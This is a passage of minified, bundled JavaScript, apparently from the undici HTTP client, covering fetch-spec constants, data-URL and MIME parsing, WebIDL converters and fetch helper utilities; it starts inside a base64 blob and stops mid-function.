QEBAQEBAQEBAQEBAQEBAQEAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEAQfnGAAsEAQAAAQBBkccAC98BAQEAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQABAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQBB+sgACwQBAAACAEGQyQALXwMEAAAEBAQEBAQEBAQEBAUEBAQEBAQEBAQEBAQABAAGBwQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAAEAAQABAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQAAAAEAEH6ygALBAEAAAEAQZDLAAsBAQBBqssAC0ECAAAAAAAAAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMAAAAAAAADAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwBB+swACwQBAAABAEGQzQALAQEAQZrNAAsGAgAAAAACAEGxzQALOgMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAAAAAAAAAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMAQfDOAAuWAU5PVU5DRUVDS09VVE5FQ1RFVEVDUklCRUxVU0hFVEVBRFNFQVJDSFJHRUNUSVZJVFlMRU5EQVJWRU9USUZZUFRJT05TQ0hTRUFZU1RBVENIR0VPUkRJUkVDVE9SVFJDSFBBUkFNRVRFUlVSQ0VCU0NSSUJFQVJET1dOQUNFSU5ETktDS1VCU0NSSUJFSFRUUC9BRFRQLw==","base64")});var HRA=v((w6w,uq4)=>{var Rq4=["GET","HEAD","POST"],sB3=new Set(Rq4),tB3=[101,204,205,304],yq4=[301,302,303,307,308],eB3=new Set(yq4),Iq4=["1","7","9","11","13","15","17","19","20","21","22","23","25","37","42","43","53","69","77","79","87","95","101","102","103","104","109","110","111","113","115","117","119","123","135","137","139","143","161","179","389","427","465","512","513","514","515","526","530","531","532","540","548","554","556","563","587","601","636","989","990","993","995","1719","1720","1723","2049","3659","4045","4190","5060","5061","6000","6566","6665","6666","6667","6668","6669","6679","6697","10080"],Am3=new Set(Iq4),Sq4=["","no-referrer","no-referrer-when-downgrade","same-origin","origin","strict-origin","origin-when-cross-origin","strict-origin-when-cross-origin","unsafe-url"],Km3=new Set(Sq4),qm3=["follow","manual","error"],hq4=["GET","HEAD","OPTIONS","TRACE"],Ym3=new Set(hq4),zm3=["navigate","same-origin","no-cors","cors"],wm3=["omit","same-origin","include"],Hm3=["default","no-store","reload","no-cache","force-cache","only-if-cached"],Jm3=["content-encoding","content-language","content-location","content-type","content-length"],Om3=["half"],bq4=["CONNECT","TRACE","TRACK"],Xm3=new Set(bq4),xq4=["audio","audioworklet","font","image","manifest","paintworklet","script","style","track","video","xslt",""],$m3=new Set(xq4);uq4.exports={subresource:xq4,forbiddenMethods:bq4,requestBodyHeader:Jm3,referrerPolicy:Sq4,requestRedirect:qm3,requestMode:zm3,requestCredentials:wm3,requestCache:Hm3,redirectStatus:yq4,corsSafeListedMethods:Rq4,nullBodyStatus:tB3,safeMethods:hq4,badPorts:Iq4,requestDuplex:Om3,subresourceSet:$m3,badPortsSet:Am3,redirectStatusSet:eB3,corsSafeListedMethodsSet:sB3,safeMethodsSet:Ym3,forbiddenMethodsSet:Xm3,referrerPolicySet:Km3}});var L66=v((H6w,Bq4)=>{var C66=Symbol.for("undici.globalOrigin.1");function _m3(){return globalThis[C66]}function Gm3(A){if(A===void 0){Object.defineProperty(globalThis,C66,{value:void 0,writable:!0,enumerable:!1,configurable:!1});return}let K=new URL(A);if(K.protocol!=="http:"&&K.protocol!=="https:")throw TypeError(`Only http & https urls are allowed, received ${K.protocol}`);Object.defineProperty(globalThis,C66,{value:K,writable:!0,enumerable:!1,configurable:!1})}Bq4.exports={getGlobalOrigin:_m3,setGlobalOrigin:Gm3}});var IV=v((J6w,dq4)=>{var i71=CA("node:assert"),Zm3=new TextEncoder,JRA=/^[!#$%&'*+\-.^_|~A-Za-z0-9]+$/,Wm3=/[\u000A\u000D\u0009\u0020]/,Dm3=/[\u0009\u000A\u000C\u000D\u0020]/g,jm3=/^[\u0009\u0020-\u007E\u0080-\u00FF]+$/;function Mm3(A){i71(A.protocol==="data:");let K=Fq4(A,!0);K=K.slice(5);let q={position:0},Y=$0A(",",K,q),z=Y.length;if(Y=vm3(Y,!0,!0),q.position>=K.length)return"failure";q.position++;let w=K.slice(z+1),H=Qq4(w);if(/;(\u0020){0,}base64$/i.test(Y)){let O=pq4(H);if(H=Vm3(O),H==="failure")return"failure";Y=Y.slice(0,-6),Y=Y.replace(/(\u0020)+$/,""),Y=Y.slice(0,-1)}if(Y.startsWith(";"))Y="text/plain"+Y;let J=R66(Y);if(J==="failure")J=R66("text/plain;charset=US-ASCII");return{mimeType:J,body:H}}function Fq4(A,K=!1){if(!K)return A.href;let q=A.href,Y=A.hash.length,z=Y===0?q:q.substring(0,q.length-Y);if(!Y&&q.endsWith("#"))return z.slice(0,-1);return z}function n71(A,K,q){let Y="";while(q.position<K.length&&A(K[q.position]))Y+=K[q.position],q.position++;return Y}function $0A(A,K,q){let Y=K.indexOf(A,q.position),z=q.position;if(Y===-1)return q.position=K.length,K.slice(z);return q.position=Y,K.slice(z,q.position)}function Qq4(A){let K=Zm3.encode(A);return Pm3(K)}function mq4(A){return A>=48&&A<=57||A>=65&&A<=70||A>=97&&A<=102}function gq4(A){return A>=48&&A<=57?A-48:(A&223)-55}function Pm3(A){let K=A.length,q=new Uint8Array(K),Y=0;for(let z=0;z<K;++z){let w=A[z];if(w!==37)q[Y++]=w;else if(w===37&&!(mq4(A[z+1])&&mq4(A[z+2])))q[Y++]=37;else q[Y++]=gq4(A[z+1])<<4|gq4(A[z+2]),z+=2}return K===Y?q:q.subarray(0,Y)}function R66(A){A=l71(A,!0,!0);let K={position:0},q=$0A("/",A,K);if(q.length===0||!JRA.test(q))return"failure";if(K.position>A.length)return"failure";K.position++;let Y=$0A(";",A,K);if(Y=l71(Y,!1,!0),Y.length===0||!JRA.test(Y))return"failure";let z=q.toLowerCase(),w=Y.toLowerCase(),H={type:z,subtype:w,parameters:new Map,essence:`${z}/${w}`};while(K.position<A.length){K.position++,n71((X)=>Wm3.test(X),A,K);let J=n71((X)=>X!==";"&&X!=="=",A,K);if(J=J.toLowerCase(),K.position<A.length){if(A[K.position]===";")continue;K.position++}if(K.position>A.length)break;let O=null;if(A[K.position]==='"')O=Uq4(A,K,!0),$0A(";",A,K);else if(O=$0A(";",A,K),O=l71(O,!1,!0),O.length===0)continue;if(J.length!==0&&JRA.test(J)&&(O.length===0||jm3.test(O))&&!H.parameters.has(J))H.parameters.set(J,O)}return H}function Vm3(A){A=A.replace(Dm3,"");let K=A.length;if(K%4===0){if(A.charCodeAt(K-1)===61){if(--K,A.charCodeAt(K-1)===61)--K}}if(K%4===1)return"failure";if(/[^+/0-9A-Za-z]/.test(A.length===K?A:A.substring(0,K)))return"failure";let q=Buffer.from(A,"base64");return new Uint8Array(q.buffer,q.byteOffset,q.byteLength)}function Uq4(A,K,q){let Y=K.position,z="";i71(A[K.position]==='"'),K.position++;while(!0){if(z+=n71((H)=>H!=='"'&&H!=="\\",A,K),K.position>=A.length)break;let w=A[K.position];if(K.position++,w==="\\"){if(K.position>=A.length){z+="\\";break}z+=A[K.position],K.position++}else{i71(w==='"');break}}if(q)return z;return A.slice(Y,K.position)}function fm3(A){i71(A!=="failure");let{parameters:K,essence:q}=A,Y=q;for(let[z,w]of K.entries()){if(Y+=";",Y+=z,Y+="=",!JRA.test(w))w=w.replace(/(\\|")/g,"\\$1"),w='"'+w,w+='"';Y+=w}return Y}function Nm3(A){return A===13||A===10||A===9||A===32}function l71(A,K=!0,q=!0){return y66(A,K,q,Nm3)}function Tm3(A){return A===13||A===10||A===9||A===12||A===32}function vm3(A,K=!0,q=!0){return y66(A,K,q,Tm3)}function y66(A,K,q,Y){let z=0,w=A.length-1;if(K)while(z<A.length&&Y(A.charCodeAt(z)))z++;if(q)while(w>0&&Y(A.charCodeAt(w)))w--;return z===0&&w===A.length-1?A:A.slice(z,w+1)}function pq4(A){let K=A.length;if(65535>K)return String.fromCharCode.apply(null,A);let q="",Y=0,z=65535;while(Y<K){if(Y+z>K)z=K-Y;q+=String.fromCharCode.apply(null,A.subarray(Y,Y+=z))}return q}function Em3(A){switch(A.essence){case"application/ecmascript":case"application/javascript":case"application/x-ecmascript":case"application/x-javascript":case"text/ecmascript":case"text/javascript":case"text/javascript1.0":case"text/javascript1.1":case"text/javascript1.2":case"text/javascript1.3":case"text/javascript1.4":case"text/javascript1.5":case"text/jscript":case"text/livescript":case"text/x-ecmascript":case"text/x-javascript":return"text/javascript";case"application/json":case"text/json":return"application/json";case"image/svg+xml":return"image/svg+xml";case"text/xml":case"application/xml":return"application/xml"}if(A.subtype.endsWith("+json"))return"application/json";if(A.subtype.endsWith("+xml"))return"application/xml";return""}dq4.exports={dataURLProcessor:Mm3,URLSerializer:Fq4,collectASequenceOfCodePoints:n71,collectASequenceOfCodePointsFast:$0A,stringPercentDecode:Qq4,parseMIMEType:R66,collectAnHTTPQuotedString:Uq4,serializeAMimeType:fm3,removeChars:y66,removeHTTPWhitespace:l71,minimizeSupportedMimeType:Em3,HTTP_TOKEN_CODEPOINTS:JRA,isomorphicDecode:pq4}});var SZ=v((O6w,cq4)=>{var{types:Xx,inspect:km3}=CA("node:util"),{markAsUncloneable:Cm3}=CA("node:worker_threads"),{toUSVString:Lm3}=j9(),O4={};O4.converters={};O4.util={};O4.errors={};O4.errors.exception=function(A){return TypeError(`${A.header}: ${A.message}`)};O4.errors.conversionFailed=function(A){let K=A.types.length===1?"":" one of",q=`${A.argument} could not be converted to${K}: ${A.types.join(", ")}.`;return O4.errors.exception({header:A.prefix,message:q})};O4.errors.invalidArgument=function(A){return O4.errors.exception({header:A.prefix,message:`"${A.value}" is an invalid ${A.type}.`})};O4.brandCheck=function(A,K,q){if(q?.strict!==!1){if(!(A instanceof K)){let Y=TypeError("Illegal invocation");throw Y.code="ERR_INVALID_THIS",Y}}else if(A?.[Symbol.toStringTag]!==K.prototype[Symbol.toStringTag]){let Y=TypeError("Illegal invocation");throw Y.code="ERR_INVALID_THIS",Y}};O4.argumentLengthCheck=function({length:A},K,q){if(A<K)throw O4.errors.exception({message:`${K} argument${K!==1?"s":""} required, but${A?" only":""} ${A} found.`,header:q})};O4.illegalConstructor=function(){throw O4.errors.exception({header:"TypeError",message:"Illegal constructor"})};O4.util.Type=function(A){switch(typeof A){case"undefined":return"Undefined";case"boolean":return"Boolean";case"string":return"String";case"symbol":return"Symbol";case"number":return"Number";case"bigint":return"BigInt";case"function":case"object":{if(A===null)return"Null";return"Object"}}};O4.util.markAsUncloneable=Cm3||(()=>{});O4.util.ConvertToInt=function(A,K,q,Y){let z,w;if(K===64)if(z=Math.pow(2,53)-1,q==="unsigned")w=0;else w=Math.pow(-2,53)+1;else if(q==="unsigned")w=0,z=Math.pow(2,K)-1;else w=Math.pow(-2,K)-1,z=Math.pow(2,K-1)-1;let H=Number(A);if(H===0)H=0;if(Y?.enforceRange===!0){if(Number.isNaN(H)||H===Number.POSITIVE_INFINITY||H===Number.NEGATIVE_INFINITY)throw O4.errors.exception({header:"Integer conversion",message:`Could not convert ${O4.util.Stringify(A)} to an integer.`});if(H=O4.util.IntegerPart(H),H<w||H>z)throw O4.errors.exception({header:"Integer conversion",message:`Value must be between ${w}-${z}, got ${H}.`});return H}if(!Number.isNaN(H)&&Y?.clamp===!0){if(H=Math.min(Math.max(H,w),z),Math.floor(H)%2===0)H=Math.floor(H);else H=Math.ceil(H);return H}if(Number.isNaN(H)||H===0&&Object.is(0,H)||H===Number.POSITIVE_INFINITY||H===Number.NEGATIVE_INFINITY)return 0;if(H=O4.util.IntegerPart(H),H=H%Math.pow(2,K),q==="signed"&&H>=Math.pow(2,K)-1)return H-Math.pow(2,K);return H};O4.util.IntegerPart=function(A){let K=Math.floor(Math.abs(A));if(A<0)return-1*K;return K};O4.util.Stringify=function(A){switch(O4.util.Type(A)){case"Symbol":return`Symbol(${A.description})`;case"Object":return km3(A);case"String":return`"${A}"`;default:return`${A}`}};O4.sequenceConverter=function(A){return(K,q,Y,z)=>{if(O4.util.Type(K)!=="Object")throw O4.errors.exception({header:q,message:`${Y} (${O4.util.Stringify(K)}) is not iterable.`});let w=typeof z==="function"?z():K?.[Symbol.iterator]?.(),H=[],J=0;if(w===void 0||typeof w.next!=="function")throw O4.errors.exception({header:q,message:`${Y} is not iterable.`});while(!0){let{done:O,value:X}=w.next();if(O)break;H.push(A(X,q,`${Y}[${J++}]`))}return H}};O4.recordConverter=function(A,K){return(q,Y,z)=>{if(O4.util.Type(q)!=="Object")throw O4.errors.exception({header:Y,message:`${z} ("${O4.util.Type(q)}") is not an Object.`});let w={};if(!Xx.isProxy(q)){let J=[...Object.getOwnPropertyNames(q),...Object.getOwnPropertySymbols(q)];for(let O of J){let X=A(O,Y,z),$=K(q[O],Y,z);w[X]=$}return w}let H=Reflect.ownKeys(q);for(let J of H)if(Reflect.getOwnPropertyDescriptor(q,J)?.enumerable){let X=A(J,Y,z),$=K(q[J],Y,z);w[X]=$}return w}};O4.interfaceConverter=function(A){return(K,q,Y,z)=>{if(z?.strict!==!1&&!(K instanceof A))throw O4.errors.exception({header:q,message:`Expected ${Y} ("${O4.util.Stringify(K)}") to be an instance of ${A.name}.`});return K}};O4.dictionaryConverter=function(A){return(K,q,Y)=>{let z=O4.util.Type(K),w={};if(z==="Null"||z==="Undefined")return w;else if(z!=="Object")throw O4.errors.exception({header:q,message:`Expected ${K} to be one of: Null, Undefined, Object.`});for(let H of A){let{key:J,defaultValue:O,required:X,converter:$}=H;if(X===!0){if(!Object.hasOwn(K,J))throw O4.errors.exception({header:q,message:`Missing required key "${J}".`})}let _=K[J],G=Object.hasOwn(H,"defaultValue");if(G&&_!==null)_??=O();if(X||G||_!==void 0){if(_=$(_,q,`${Y}.${J}`),H.allowedValues&&!H.allowedValues.includes(_))throw O4.errors.exception({header:q,message:`${_} is not an accepted type. Expected one of ${H.allowedValues.join(", ")}.`});w[J]=_}}return w}};O4.nullableConverter=function(A){return(K,q,Y)=>{if(K===null)return K;return A(K,q,Y)}};O4.converters.DOMString=function(A,K,q,Y){if(A===null&&Y?.legacyNullToEmptyString)return"";if(typeof A==="symbol")throw O4.errors.exception({header:K,message:`${q} is a symbol, which cannot be converted to a DOMString.`});return String(A)};O4.converters.ByteString=function(A,K,q){let Y=O4.converters.DOMString(A,K,q);for(let z=0;z<Y.length;z++)if(Y.charCodeAt(z)>255)throw TypeError(`Cannot convert argument to a ByteString because the character at index ${z} has a value of ${Y.charCodeAt(z)} which is greater than 255.`);return Y};O4.converters.USVString=Lm3;O4.converters.boolean=function(A){return Boolean(A)};O4.converters.any=function(A){return A};O4.converters["long long"]=function(A,K,q){return O4.util.ConvertToInt(A,64,"signed",void 0,K,q)};O4.converters["unsigned long long"]=function(A,K,q){return O4.util.ConvertToInt(A,64,"unsigned",void 0,K,q)};O4.converters["unsigned long"]=function(A,K,q){return O4.util.ConvertToInt(A,32,"unsigned",void 0,K,q)};O4.converters["unsigned short"]=function(A,K,q,Y){return O4.util.ConvertToInt(A,16,"unsigned",Y,K,q)};O4.converters.ArrayBuffer=function(A,K,q,Y){if(O4.util.Type(A)!=="Object"||!Xx.isAnyArrayBuffer(A))throw O4.errors.conversionFailed({prefix:K,argument:`${q} ("${O4.util.Stringify(A)}")`,types:["ArrayBuffer"]});if(Y?.allowShared===!1&&Xx.isSharedArrayBuffer(A))throw O4.errors.exception({header:"ArrayBuffer",message:"SharedArrayBuffer is not allowed."});if(A.resizable||A.growable)throw O4.errors.exception({header:"ArrayBuffer",message:"Received a resizable ArrayBuffer."});return A};O4.converters.TypedArray=function(A,K,q,Y,z){if(O4.util.Type(A)!=="Object"||!Xx.isTypedArray(A)||A.constructor.name!==K.name)throw O4.errors.conversionFailed({prefix:q,argument:`${Y} ("${O4.util.Stringify(A)}")`,types:[K.name]});if(z?.allowShared===!1&&Xx.isSharedArrayBuffer(A.buffer))throw O4.errors.exception({header:"ArrayBuffer",message:"SharedArrayBuffer is not allowed."});if(A.buffer.resizable||A.buffer.growable)throw O4.errors.exception({header:"ArrayBuffer",message:"Received a resizable ArrayBuffer."});return A};O4.converters.DataView=function(A,K,q,Y){if(O4.util.Type(A)!=="Object"||!Xx.isDataView(A))throw O4.errors.exception({header:K,message:`${q} is not a DataView.`});if(Y?.allowShared===!1&&Xx.isSharedArrayBuffer(A.buffer))throw O4.errors.exception({header:"ArrayBuffer",message:"SharedArrayBuffer is not allowed."});if(A.buffer.resizable||A.buffer.growable)throw O4.errors.exception({header:"ArrayBuffer",message:"Received a resizable ArrayBuffer."});return A};O4.converters.BufferSource=function(A,K,q,Y){if(Xx.isAnyArrayBuffer(A))return O4.converters.ArrayBuffer(A,K,q,{...Y,allowShared:!1});if(Xx.isTypedArray(A))return O4.converters.TypedArray(A,A.constructor,K,q,{...Y,allowShared:!1});if(Xx.isDataView(A))return O4.converters.DataView(A,K,q,{...Y,allowShared:!1});throw O4.errors.conversionFailed({prefix:K,argument:`${q} ("${O4.util.Stringify(A)}")`,types:["BufferSource"]})};O4.converters["sequence<ByteString>"]=O4.sequenceConverter(O4.converters.ByteString);O4.converters["sequence<sequence<ByteString>>"]=O4.sequenceConverter(O4.converters["sequence<ByteString>"]);O4.converters["record<ByteString, ByteString>"]=O4.recordConverter(O4.converters.ByteString,O4.converters.ByteString);cq4.exports={webidl:O4}});var ZT=v((X6w,J54)=>{var{Transform:Rm3}=CA("node:stream"),lq4=CA("node:zlib"),{redirectStatusSet:ym3,referrerPolicySet:Im3,badPortsSet:Sm3}=HRA(),{getGlobalOrigin:iq4}=L66(),{collectASequenceOfCodePoints:S8A,collectAnHTTPQuotedString:hm3,removeChars:bm3,parseMIMEType:xm3}=IV(),{performance:um3}=CA("node:perf_hooks"),{isBlobLike:Bm3,ReadableStreamFrom:mm3,isValidHTTPToken:nq4,normalizedMethodRecordsBase:gm3}=j9(),h8A=CA("node:assert"),{isUint8Array:Fm3}=CA("node:util/types"),{webidl:ORA}=SZ(),rq4=[],o71;try{o71=CA("node:crypto");let A=["sha256","sha384","sha512"];rq4=o71.getHashes().filter((K)=>A.includes(K))}catch{}function oq4(A){let K=A.urlList,q=K.length;return q===0?null:K[q-1].toString()}function Qm3(A,K){if(!ym3.has(A.status))return null;let q=A.headersList.get("location",!0);if(q!==null&&sq4(q)){if(!aq4(q))q=Um3(q);q=new URL(q,oq4(A))}if(q&&!q.hash)q.hash=K;return q}function aq4(A){for(let K=0;K<A.length;++K){let q=A.charCodeAt(K);if(q>126||q<32)return!1}return!0}function Um3(A){return Buffer.from(A,"binary").toString("utf8")}function $RA(A){return A.urlList[A.urlList.length-1]}function pm3(A){let K=$RA(A);if(q54(K)&&Sm3.has(K.port))return"blocked";return"allowed"}function dm3(A){return A instanceof Error||(A?.constructor?.name==="Error"||A?.constructor?.name==="DOMException")}function cm3(A){for(let K=0;K<A.length;++K){let q=A.charCodeAt(K);if(!(q===9||q>=32&&q<=126||q>=128&&q<=255))return!1}return!0}var lm3=nq4;function sq4(A){return(A[0]==="\t"||A[0]===" "||A[A.length-1]==="\t"||A[A.length-1]===" "||A.includes(` `)||A.includes("\r")||A.includes("\x00"))===!1}function im3(A,K){let{headersList:q}=K,Y=(q.get("referrer-policy",!0)??"").split(","),z="";if(Y.length>0)for(let w=Y.length;w!==0;w--){let H=Y[w-1].trim();if(Im3.has(H)){z=H;break}}if(z!=="")A.referrerPolicy=z}function nm3(){return"allowed"}function rm3(){return"success"}function om3(){return"success"}function am3(A){let K=null;K=A.mode,A.headersList.set("sec-fetch-mode",K,!0)}function sm3(A){let K=A.origin;if(K==="client"||K===void 0)return;if(A.responseTainting==="cors"||A.mode==="websocket")A.headersList.append("origin",K,!0);else if(A.method!=="GET"&&A.method!=="HEAD"){switch(A.referrerPolicy){case"no-referrer":K=null;break;case"no-referrer-when-downgrade":case"strict-origin":case"strict-origin-when-cross-origin":if(A.origin&&S66(A.origin)&&!S66($RA(A)))K=null;break;case"same-origin":if(!a71(A,$RA(A)))K=null;break;default:}A.headersList.append("origin",K,!0)}}function _0A(A,K){return A}function tm3(A,K,q){if(!A?.startTime||A.startTime<K)return{domainLookupStartTime:K,domainLookupEndTime:K,connectionStartTime:K,connectionEndTime:K,secureConnectionStartTime:K,ALPNNegotiatedProtocol:A?.ALPNNegotiatedProtocol};return{domainLookupStartTime:_0A(A.domainLookupStartTime,q),domainLookupEndTime:_0A(A.domainLookupEndTime,q),connectionStartTime:_0A(A.connectionStartTime,q),connectionEndTime:_0A(A.connectionEndTime,q),secureConnectionStartTime:_0A(A.secureConnectionStartTime,q),ALPNNegotiatedProtocol:A.ALPNNegotiatedProtocol}}function em3(A){return _0A(um3.now(),A)}function Ag3(A){return{startTime:A.startTime??0,redirectStartTime:0,redirectEndTime:0,postRedirectStartTime:A.startTime??0,finalServiceWorkerStartTime:0,finalNetworkResponseStartTime:0,finalNetworkRequestStartTime:0,endTime:0,encodedBodySize:0,decodedBodySize:0,finalConnectionTimingInfo:null}}function tq4(){return{referrerPolicy:"strict-origin-when-cross-origin"}}function Kg3(A){return{referrerPolicy:A.referrerPolicy}}function qg3(A){let K=A.referrerPolicy;h8A(K);let q=null;if(A.referrer==="client"){let J=iq4();if(!J||J.origin==="null")return"no-referrer";q=new URL(J)}else if(A.referrer instanceof URL)q=A.referrer;let Y=I66(q),z=I66(q,!0);if(Y.toString().length>4096)Y=z;let w=a71(A,Y),H=XRA(Y)&&!XRA(A.url);switch(K){case"origin":return z!=null?z:I66(q,!0);case"unsafe-url":return Y;case"same-origin":return w?z:"no-referrer";case"origin-when-cross-origin":return w?Y:z;case"strict-origin-when-cross-origin":{let J=$RA(A);if(a71(Y,J))return Y;if(XRA(Y)&&!XRA(J))return"no-referrer";return z}case"strict-origin":case"no-referrer-when-downgrade":default:return H?"no-referrer":z}}function I66(A,K){if(h8A(A instanceof URL),A=new URL(A),A.protocol==="file:"||A.protocol==="about:"||A.protocol==="blank:")return"no-referrer";if(A.username="",A.password="",A.hash="",K)A.pathname="",A.search="";return A}function XRA(A){if(!(A instanceof URL))return!1;if(A.href==="about:blank"||A.href==="about:srcdoc")return!0;if(A.protocol==="data:")return!0;if(A.protocol==="file:")return!0;return K(A.origin);function K(q){if(q==null||q==="null")return!1;let Y=new URL(q);if(Y.protocol==="https:"||Y.protocol==="wss:")return!0;if(/^127(?:\.[0-9]+){0,2}\.[0-9]+$|^\[(?:0*:)*?:?0*1\]$/.test(Y.hostname)||(Y.hostname==="localhost"||Y.hostname.includes("localhost."))||Y.hostname.endsWith(".localhost"))return!0;return!1}}function Yg3(A,K){if(o71===void 0)return!0;let q=eq4(K);if(q==="no metadata")return!0;if(q.length===0)return!0;let Y=wg3(q),z=Hg3(q,Y);for(let w of z){let{algo:H,hash:J}=w,O=o71.createHash(H).update(A).digest("base64");if(O[O.length-1]==="=")if(O[O.length-2]==="=")O=O.slice(0,-2);else O=O.slice(0,-1);if(Jg3(O,J))return!0}return!1}var zg3=/(?<algo>sha256|sha384|sha512)-((?<hash>[A-Za-z0-9+/]+|[A-Za-z0-9_-]+)={0,2}(?:\s|$)( +[!-~]*)?)?/i;function eq4(A){let K=[],q=!0;for(let Y of A.split(" ")){q=!1;let z=zg3.exec(Y);if(z===null||z.groups===void 0||z.groups.algo===void 0)continue;let w=z.groups.algo.toLowerCase();if(rq4.includes(w))K.push(z.groups)}if(q===!0)return"no metadata";return K}function wg3(A){let K=A[0].algo;if(K[3]==="5")return K;for(let q=1;q<A.length;++q){let Y=A[q];if(Y.algo[3]==="5"){K="sha512";break}else if(K[3]==="3")continue;else if(Y.algo[3]==="3")K="sha384"}return K}function Hg3(A,K){if(A.length===1)return A;let q=0;for(let Y=0;Y<A.length;++Y)if(A[Y].algo===K)A[q++]=A[Y];return A.length=q,A}function Jg3(A,K){if(A.length!==K.length)return!1;for(let q=0;q<A.length;++q)if(A[q]!==K[q]){if(A[q]==="+"&&K[q]==="-"||A[q]==="/"&&K[q]==="_")continue;return!1}return!0}function Og3(A){}function a71(A,K){if(A.origin===K.origin&&A.origin==="null")return!0;if(A.protocol===K.protocol&&A.hostname===K.hostname&&A.port===K.port)return!0;return!1}function Xg3(){let A,K;return{promise:new Promise((Y,z)=>{A=Y,K=z}),resolve:A,reject:K}}function $g3(A){return A.controller.state==="aborted"}function _g3(A){return A.controller.state==="aborted"||A.controller.state==="terminated"}function Gg3(A){return gm3[A.toLowerCase()]??A}function Zg3(A){let K=JSON.stringify(A);if(K===void 0)throw TypeError("Value is not JSON serializable");return h8A(typeof K==="string"),K}var Wg3=Object.getPrototypeOf(Object.getPrototypeOf([][Symbol.iterator]()));function A54(A,K,q=0,Y=1){class z{#A;#K;#q;constructor(w,H){this.#A=w,this.#K=H,this.#q=0}next(){if(typeof this!=="object"||this===null||!(#A in this))throw TypeError(`'next' called on an object that does not implement interface ${A} Iterator.`);let w=this.#q,H=this.#A[K],J=H.length;if(w>=J)return{value:void 0,done:!0};let{[q]:O,[Y]:X}=H[w];this.#q=w+1;let $;switch(this.#K){case"key":$=O;break;case"value":$=X;break;case"key+value":$=[O,X];break}return{value:$,done:!1}}}return delete z.prototype.constructor,Object.setPrototypeOf(z.prototype,Wg3),Object.defineProperties(z.prototype,{[Symbol.toStringTag]:{writable:!1,enumerable:!1,configurable:!0,value:`${A} Iterator`},next:{writable:!0,enumerable:!0,configurable:!0}}),function(w,H){return new z(w,H)}}function Dg3(A,K,q,Y=0,z=1){let w=A54(A,q,Y,z),H={keys:{writable:!0,enumerable:!0,configurable:!0,value:function(){return ORA.brandCheck(this,K),w(this,"key")}},values:{writable:!0,enumerable:!0,configurable:!0,value:function(){return ORA.brandCheck(this,K),w(this,"value")}},entries:{writable:!0,enumerable:!0,configurable:!0,value:function(){return ORA.brandCheck(this,K),w(this,"key+value")}},forEach:{writable:!0,enumerable:!0,configurable:!0,value:function(O,X=globalThis){if(ORA.brandCheck(this,K),ORA.argumentLengthCheck(arguments,1,`${A}.forEach`),typeof O!=="function")throw TypeError(`Failed to execute 'forEach' on '${A}': parameter 1 is not of type 'Function'.`);for(let{0:$,1:_}of w(this,"key+value"))O.call(X,_,$,this)}}};return Object.defineProperties(K.prototype,{...H,[Symbol.iterator]:{writable:!0,enumerable:!1,configurable:!0,value:H.entries.value}})}async function jg3(A,K,q){let Y=K,z=q,w;try{w=A.stream.getReader()}catch(H){z(H);return}try{Y(await K54(w))}catch(H){z(H)}}function Mg3(A){return A instanceof ReadableStream||A[Symbol.toStringTag]==="ReadableStream"&&typeof A.tee==="function"}function Pg3(A){try{A.close(),A.byobRequest?.respond(0)}catch(K){if(!K.message.includes("Controller is already closed")&&!K.message.includes("ReadableStream is already closed"))throw K}}var Vg3=/[^\x00-\xFF]/;function r71(A){return h8A(!Vg3.test(A)),A}async function K54(A){let K=[],q=0;while(!0){let{done:Y,value:z}=await A.read();if(Y)return Buffer.concat(K,q);if(!Fm3(z))throw TypeError("Received non-Uint8Array chunk");K.push(z),q+=z.length}}function fg3(A){h8A("protocol"in A);let K=A.protocol;return K==="about:"||K==="blob:"||K==="data:"}function S66(A){return typeof A==="string"&&A[5]===":"&&A[0]==="h"&&A[1]==="t"&&A[2]==="t"&&A[3]==="p"&&A[4]==="s"||A.protocol==="https:"}function q54(A){h8A("protocol"in A);let K=A.protocol;return K==="http:"||K==="https:"}function Ng3(A,K){let q=A;if(!q.startsWith("bytes"))return"failure";let Y={position:5};if(K)S8A((O)=>O==="\t"||O===" ",q,Y);if(q.charCodeAt(Y.position)!==61)return"failure";if(Y.position++,K)S8A((O)=>O==="\t"||O===" ",q,Y);let z=S8A((O)=>{let X=O.charCodeAt(0);return X>=48&&X<=57},q,Y),w=z.length?Number(z):null;if(K)S8A((O)=>O==="\t"||O===" ",q,Y);if(q.charCodeAt(Y.position)!==45)return"failure";if(Y.position++,K)S8A((O)=>O==="\t"||O===" ",q,Y);let H=S8A((O)=>{let X=O.charCodeAt(0);return X>=48&&X<=57},q,Y),J=H.length?Number(H):null;if(Y.position<q.length)return"failure";if(J===null&&w===null)return"failure";if(w>J)return"failure";return{rangeStartValue:w,rangeEndValue:J}}function Tg3(A,K,q){let Y="bytes ";return Y+=r71(`${A}`),Y+="-",Y+=r71(`${K}`),Y+="/",Y+=r71(`${q}`),Y}class Y54 extends Rm3{#A;constructor(A){super();this.#A=A}_transform(A,K,q){if(!this._inflateStream){if(A.length===0){q();return}this._inflateStream=(A[0]&15)===8?lq4.createInflate(this.#A):lq4.createInflateRaw(this.#A),this._inflateStream.on("data",this.push.bind(this)),this._inflateStream.on("end",()=>this.push(null)),this._inflateStream.on("error",(Y)=>this.destroy(Y))}this._inflateStream.write(A,K,q)}_final(A){if(this._inflateStream)this._inflateStream.end(),this._inflateStream=null;A()}}function vg3(A){return new Y54(A)}function Eg3(A){let 